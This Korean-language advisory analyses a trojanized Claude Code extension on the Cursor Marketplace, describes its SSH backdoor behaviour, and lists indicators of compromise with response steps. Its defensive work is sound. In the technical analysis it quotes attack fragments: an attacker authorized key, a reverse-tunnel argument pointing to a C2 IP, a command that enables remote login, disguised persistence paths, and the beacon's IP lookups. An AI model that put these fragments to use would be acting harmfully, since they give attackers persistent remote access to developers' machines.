업데이트: OpenSourceMalware는 Cursor로부터 연락을 받았으며, 그들은 오늘 Cursor Marketplace의 Claude Code 확장이 어떤 형태로든 손상되었음을 알려주었습니다. 이 악성 Claude Code 확장의 출처는 Open-VSX가 아닙니다.
Incident에 대한 Cursor의 발표를 [여기]에서 확인할 수 있습니다.
Cursor 마켓플레이스에 있는 공식 Claude Code 확장 프로그램이 오늘 손상되었습니다. 네, 맞습니다.
악성 버전인 2.1.313이 오늘, 2026년 10월 29일 Cursor Marketplace에 게시되었습니다. 이 확장은 anthropic.claude-code라는 이름으로 식별되며,
버전 2.1.313
이지만, 그 주요 JavaScript 번들에는 합법적인 확장 코드보다 앞서 악성 66줄의 로더가 삽입되어 있습니다.
악성인 것:
Claude-code 확장 프로그램 (Cursor 마켓플레이스 버전 2.1.313)
악성이 아닌 것:
@anthropic-ai/claude-code NPM 패키지는 악성이 아닙니다.
OpenVSX 확장은 악성이 아닙니다.
Microsoft VSCode용 Claude 확장 프로그램은 악성이 아닙니다.
무엇을 하나요?
패키징되지 않은(unpacked) 확장 프로그램은 정상 버전과 완전히 동일하며, 번들링된 바이너리 역시 공식 바이너리입니다. 유일하게 다른 점은 extension.js 파일입니다.
이 확장은 VS Code 시작 후 웹뷰가 열리고 extension.js 파일을 실행할 때 활성화됩니다. 이 코드는 사용자 SSH 설정에 공격자가 제어하는 키를 추가하고, 로컬 SSH 서비스를 활성화하려고 시도하며, 134.209.82.225로 리버스 터널(reverse tunnel)을 구축하고, 플랫폼별 지속성(persistence)을 설치하며, 암호화되지 않은 HTTP 비콘을 통해 호스트 정찰(host reconnaissance) 데이터를 전송합니다.
정적 분석을 통해 주요 진입점을 빠르게 살펴보면 그림이 그려집니다. 첫 줄은 Node.js process, filesystem, operating-system, HTTP, 그리고 cryptographic 모듈을 가져오는 독립적인 즉시 호출 함수를 시작합니다. 이 함수는 66번째 줄에서 끝납니다. 이 함수가 완료된 후에야 예상되는 번들 확장 프로그램이 작동하기 시작합니다. 이 배치는 중요합니다: 사용자가 Claude 대화를 시작할 필요가 없습니다. 단순히 확장 모듈을 로드하는 것만으로 충분합니다. 해당 패키지는 install, build, prepare, preinstall, 또는 postinstall 스크립트를 선언하지 않기 때문에, 악성 행위는 패키지 관리자 생명 주기 훅(lifecycle hook)을 통해서가 아니라 확장 프로그램 실행 시간(runtime)에 발생합니다.
분석된 디렉터리의 출처(provenance)는 확립되지 않았습니다. 이러한 발견은 이 특정 아티팩트가 악성이라는 것을 보여줄 뿐이며, Anthropic의 공식 마켓플레이스 출시 또는 배포 인프라가 손상되었음을 그 자체로 입증하지는 않습니다.
요약 (TL;DR)
위협 유형: 트로이 목마화된 개발자 도구 확장 프로그램 및 지속적인 SSH 백도어
영향을 받는 생태계: Visual Studio Code 확장 프로그램
주장되는 패키지: [email protected]
영향: 승인된 SSH 키와 리버스 SSH 터널을 통한 지속적인 원격 접근
C2 (명령 및 제어): 134.209.82.225
SSH 및 HTTP 포트 8099를 통해
주요 발견: 악성 코드가 정상 확장 번들 앞에 추가되어 합법적인 초기화보다 먼저 실행됨
추가 페이로드: 감염된 단계에서 다운로드되는 것 없음; 그 curl 요청은 공개 IP 텍스트만 검색함
기술 분석
실시간으로 이 현상을 목격한 Dean Hardcastle에게 큰 박수를 보냅니다.
로드 시점에 임플란트는 다음 정보를 수집합니다:
- 호스트 이름 및 로컬 사용자 이름
- 운영 체제 및 CPU 아키텍처
- 홈 디렉터리 및 현재 작업 디렉터리
git config --global user.email로부터 얻은 전역 Git 이메일 주소
- 다음 중 하나를 포함하는 최대 40개의 환경 변수 이름:
KEY, TOKEN, SECRET, PASS, AWS, 또는 GCP
환경 변수 값은 초기 비콘(beacon)에 직접 포함되지 않습니다. 하지만 그 이름만으로도 어떤 클라우드 제공업체, CI 시스템 및 자격 증명 유형이 구성되었는지 여부를 알 수 있습니다. 더 중요한 것은, 성공적인 SSH 접속을 통해 공격자는 계정을 직접 검사할 수 있다는 점입니다.
거의 모든 예외가 억제됩니다(suppressed). 이는 악성 작업이 실패하더라도 합법적인 확장 프로그램이 계속 로드되도록 하여, 침해의 가시적 징후를 줄여줍니다.
Authorized-key 설치
홈 디렉터리가 사용 가능하다면, 임플란트(implant)는 ~/.ssh를 생성하고, 이를 모드 0700으로 변경한 다음, Ed25519 키를 ~/.ssh/authorized_keys에 추가합니다. 이 키는 관리자 계정을 닮도록 의도된 무해해 보이는 주석과 함께 svc-telemetry로 레이블이 지정됩니다.
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry
이 키의 지문(fingerprint)은 다음과 같습니다:
SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
임플란트는 authorized_keys를 모드 0600으로 설정합니다. 만약 이 마커(marker)가 이미 존재한다면, 중복을 추가하는 대신 그 사실을 기록합니다.
SSH 서비스 활성화
다음 단계에서는 피해자가 SSH를 통해 접근 가능하도록 만들려고 시도합니다:
macOS: 원격 로그인(Remote Login)을 확인하고, 비활성화된 경우 sudo -n systemsetup -setremotelogin on을 실행합니다.
Linux: systemctl을 사용하여 sshd 또는 ssh를 확인한 다음, 여러 서비스 시작 명령을 시도합니다.
Windows: PowerShell을 사용하여 OpenSSH Server를 설치하고, 자동 시작을 구성하며, sshd를 시작합니다.
이러한 작업들은 충분한 권한이 없으면 실패할 수 있지만, 실패가 남아있는 공격 체인(attack chain)의 진행을 막지는 못합니다.
리버스 SSH 터널
임플란트는 base64로 인코딩된 OpenSSH 개인 키를 내장하고 이를 .stk_<identifier>라는 임시 파일로 디코드합니다. 이 식별자(identifier)는 호스트 이름과 홈 디렉터리에서 파생됩니다. 디코드된 개인 키의 SHA-256 값은 다음과 같습니다:
7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278
이것은 다음 주소로 반복적으로 연결합니다:
핵심 포워딩 요청(core forwarding request)은 다음과 같습니다:
-N -R '*:0:localhost:22'
이는 원격 SSH 서버에 포트를 할당하고 터널을 통해 피해자의 포트 22로 연결을 전달하도록 요청합니다. 해당 포트가 C2 호스트를 넘어 도달 가능한지는 서버의 SSH 구성에 따라 다르지만, 서버를 제어하는 운영자는 이 터널을 직접 사용할 수 있습니다.
이 연결은 호스트 키 검증(host-key verification)을 비활성화하고, 사용자의 known-hosts 파일을 무시하며, 임베디드 ID(embedded identity)를 독점적으로 사용하고, 60초 후에 재연결합니다. Unix와 유사한 시스템에서는 autossh를 선호하며, 그렇지 않은 경우 ssh를 사용합니다.
로더는 세 가지 플랫폼 분기를 구현합니다.
macOS에서는 다음을 작성합니다:
~/.config/.smt
~/.config/.smtk
~/Library/LaunchAgents/com.apple.sysmond.plist
.smt는 개인 키(private key)를 재구성하고 터널을 지속적으로 실행합니다. LaunchAgent는 RunAtLoad와 KeepAlive를 사용한 후, launchctl load -w로 로드됩니다. com.apple.sysmond라는 이름은 기만적입니다. 이 사용자 LaunchAgent는 Apple 구성 요소가 아닙니다.
Linux에서는 동일한 파일들이 ~/.config 아래에 작성되며, 스크립트는 @reboot 항목과 함께 사용자 크론탭(crontab)에 추가됩니다.
Windows에서는 악성코드가 .config\smt.cmd와 .config\smtk를 작성한 다음, SYSTEM으로 실행되는 SysMon이라는 이름의 시작 시 예약 작업(scheduled task)을 생성하려고 시도합니다. 이것이 확인되지 않으면, 사용자의 Startup 폴더에 sysmon.cmd를 복사합니다.
정찰 비콘 (Reconnaissance beacon)
1.5초 후, 악성코드는 다음을 사용하여 공용 IP를 얻습니다:
curl -s --max-time 4 ifconfig.me
curl -s --max-time 4 https://api.ipify.org
수집된 JSON은 다음으로 전송됩니다:
응답은 폐기됩니다. 주입된 단계에서는 응답 코드 동작(response-to-code behavior)이 없으며, 반환된 데이터는 페이로드나 구성으로 저장되지 않습니다.
추가 악성코드를 다운로드하는가? (Does It Download More Malware?)
주입된 로더는 추가 실행 파일이나 스크립트를 다운로드하지 않습니다. 네트워크 동작은 공용 IP 텍스트 조회, JSON 비콘 업로드, 그리고 상호 작용적인 SSH 터널로 구성됩니다.
셸 및 배치 스크립트, 터널 키는 이미 확장 프로그램 내부에 있는 콘텐츠로부터 생성되거나 디코딩됩니다. 이는 보조 다운로드가 아닙니다. 이러한 구별이 심각도를 낮추지는 않습니다. 이 터널은 운영자가 제어하는 경로를 피해자의 SSH 서비스로 제공합니다. 접근 후 전송되는 후속 명령어 또는 파일은 이 정적 아티팩트에는 나타나지 않을 것입니다.
블록체인 주소, RPC 엔드포인트, 컨트랙트, 지갑 또는 블록체인으로 해결된 페이로드 위치는 발견되지 않았습니다.
공격 체인 (Attack Chain)
| 단계 (Stage) | 트리거 (Trigger) | 행동 (Behavior) | 결과 (Outcome) |
|---|
| 실행 (Execution) | VS Code가 extension.js를 로드함 | 접두사 IIFE(Immediately Invoked Function Expression)가 합법적인 코드보다 먼저 실행됨 | 확인됨 (Confirmed) |
| 접근 (Access) | 홈 디렉토리가 존재함 | svc-telemetry 인증된 키 추가 | 확인됨 (Confirmed) |
| 서비스 설정 (Service setup) | 플랫폼 브랜치 | SSH 또는 원격 로그인 활성화 시도 | OS 및 권한에 따라 조건부 (Conditional on OS and privileges) |
| 터널 (Tunnel) | 일치하는 Unix 터널 없음 | 내장된 키를 드롭하고 리버스 SSH 루프를 실행함 | 확인된 코드 경로 (Confirmed code path) |
| 지속성 (Persistence) | 플랫폼 브랜치 | LaunchAgent, cron, 예약 작업 또는 시작 항목 | OS에 따라 조건부 (Conditional on OS) |
| 정찰 (Reconnaissance) | 1.5초 타이머 | 공용 IP를 조회하고 두 개의 비콘을 전송함 | 확인됨 (Confirmed) |
| C2 응답 (C2 response) | 비콘 완료 | 응답은 추출되어 무시됨 | 실행 경로 없음 (No execution path) |
| 추가 다운로드 (Additional download) | 임의로 주입된 경로 | 다운로더 식별되지 않음 | 없음 (None) |
침해 지표 (Indicators of Compromise, IOCs)
패키지 식별자 (Package Identity)
[email protected]
네트워크 지표 (Network Indicators)
134.209.82.225
134.209.82.225:22
...
SSH 지표 (SSH Indicators)
파일 및 지속성 (Files and Persistence)
~/.config/.smt
~/.config/.smtk
~/Library/LaunchAgents/com.apple.sysmond.plist
...
파일 해시 (File Hashes, SHA-256)
extension.js
ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
내장 터널 개인 키 (embedded tunnel private key)
...
탐지 및 대응 (Detection and Response)
파일 경로, SSH 키 주석(comment), LaunchAgent 레이블, 작업 이름, IP 주소 및 해시를 위에서 검색하십시오. macOS의 경우 로드된 LaunchAgents와 각 사용자의 authorized_keys 파일을 검사해야 합니다.
- 프로세스 원격 측정 데이터(telemetry)는
-R *:0:localhost:22를 포함하는 장시간 실행되는 ssh 또는 autossh 명령을 보여줄 수 있습니다.
만약 아티팩트가 로드되었다면, 시스템 연결을 끊고 포렌식 증거를 보존하며, 22번 및 8099번 포트에서 134.209.82.225를 차단해야 합니다. 확장 프로그램과 지속성(persistence) 제거는 증거 수집 후에만 수행하십시오. 영향을 받은 계정에 접근 가능한 자격 증명은 알려진 깨끗한 시스템으로부터 순환(rotate)시켜야 합니다.
이 임플란트(implant)가 SSH로의 상호작용 경로를 생성하기 때문에, 관찰 가능한 파일들이 전체 침해 상황을 나타내지 않을 수 있습니다. 후속 활동에 대해 SSH, 셸(shell), 프로세스, VS Code, 인증 및 네트워크 로그를 검토해야 합니다. 알려진 아티팩트를 제거하는 것이 신뢰 회복을 보장한다고 가정하기보다는 호스트 자체를 재구축하는 것이 더 안전합니다.
결론
이 샘플은 신뢰받는 개발자 도구를 무기화하는 효과적인 방법을 보여줍니다. 즉, 대규모 합법적 번들 앞에 작고 간결한 백도어를 배치하고, 오류를 억제하며, 예상되는 애플리케이션이 계속 실행되도록 하는 것입니다. 이 확장 프로그램은 정상적인 인터페이스를 유지하면서 조용히 지속적인 SSH 접근을 확립합니다.
증거는 분석된 아티팩트에 대한 결론만을 뒷받침합니다. 배포 출처, 공격자 신원, 인프라 소유권 및 공식 릴리스의 상태는 검증되지 않았으며 패키지 브랜딩으로부터 추론해서는 안 됩니다.